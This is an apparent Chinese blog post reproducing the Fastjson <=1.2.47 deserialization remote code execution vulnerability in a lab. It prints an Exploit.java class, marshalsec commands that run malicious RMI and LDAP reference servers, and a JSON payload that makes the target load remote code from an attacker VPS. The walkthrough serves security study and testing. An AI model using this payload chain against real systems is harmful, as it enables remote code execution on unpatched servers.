android fastjson漏洞_fastjson<=1.2.47-反序列化漏洞-命令执行-漏洞复现

漏洞原理

Fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

漏洞利用如下:

影响版本

Fastjson1.2.47以及之前的版本

环境搭建

1、攻击机

IP地址:192.168.214.1

操作系统:windows10

利用工具:火狐游览器、Burp Suite

2、VPS服务器

IP地址:192.168.214.137

操作系统:centos7.4

相关应用:tomcat8,jdk8u181

开启端口:8080

利用工具:marshalsec-0.0.3-SNAPSHOT-all.jar

3、靶机

IP地址:192.168.214.138

操作系统:windows server 2008 r2 standard

相关应用:tomcat7,jdk8u181

开启端口:8080

攻击思路:攻击机利用burpsuite构造playload,通过访问vps服务器攻击靶机,进行命令执行。

复现漏洞注意:jdk不能高于如下版本,VPS和靶机的jdk版本保持一致最佳

反序列化常用的两种利用方式,一种是基于rmi,一种是基于ldap。RMI是一种行为,指的是Java远程方法调用。

ldap指轻量级目录访问协议。具体可参考https://xz.aliyun.com/t/7079

Rmi与ldap存在java版本限制:

基于rmi的利用方式:适用jdk版本:JDK 6u141, JDK 7u131, JDK 8u121之前。

在jdk8u122的时候,加入了反序列化白名单的机制,关闭了rmi远程加载代码。

基于ldap的利用方式:适用jdk版本:JDK 11.0.1、8u182、7u191、6u201之前。

在Java 8u191更新中,Oracle对LDAP向量设置了相同的限制,并发布了CVE-2018-3149,关闭了JNDI远程类加载。

可以看到ldap的利用范围是比rmi要大的,实战情况下推荐使用ldap方法进行利用。

攻击利用

1、将含有fastjson-1.2.47.jar的demo压缩包解压,布置在靶机的webapps目录下,开启tomcat服务,浏览器能够正常进行访问

攻击机能够正常访问靶机的demo。

2、将marshalsec-0.0.3-SNAPSHOT-all.jar 和编译好的Exploit.class上传到VPS服务器的网站根目录下

使用浏览器可以进行访问或者下载,

Exploit.java构造的执行命令内容如下:

1 importjava.io.BufferedReader;2 importjava.io.InputStream;3 importjava.io.InputStreamReader;4

5 public classExploit{6 public Exploit() throwsException {7 Process p = Runtime.getRuntime().exec(new String[]{"cmd","/c","calc.exe"});//执行命令打开计算器程序8 InputStream is =p.getInputStream();9 BufferedReader reader = new BufferedReader(newInputStreamReader(is));10

11 String line;12 while((line = reader.readLine()) != null) {13 System.out.println(line);14 }15

16 p.waitFor();17 is.close();18 reader.close();19 p.destroy();20 }21

22 public static void main(String[] args) throwsException {23 }24 }

然后在VPS服务器上可以使用RMI或者LDAP的服务,将reference result 重定向到web服务器(即文件Exploit.class的存放位置)。

1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://x.x.x.x/#Exploit" 9999

2 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://x.x.x.x/#Exploit" 9999

这里我使用的是LDAP服务,毕竟覆盖的jdk版本范围更广,更容易复现漏洞,在网站根目录下使用marshalsec-0.0.3-SNAPSHOT-all.jar工具开启LDAP。

3、攻击机上使用火狐游览器访问靶机的demo服务,使用burpsuite截包,构造playload重发包

Playload构造如下:

1 {2 "name": {3 "@type": "java.lang.Class",4 "val": "com.sun.rowset.JdbcRowSetImpl"

5 },6 "x": {7 "@type": "com.sun.rowset.JdbcRowSetImpl",8 "dataSourceName": "ldap://192.168.214.137:9999/Exploit",9 "autoCommit": true

10 }11 }

4、执行结果

VPS显示已连接,执行了Expolit.class,

攻击机通过fastjson漏洞执行命令,打开了靶机的计算器。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值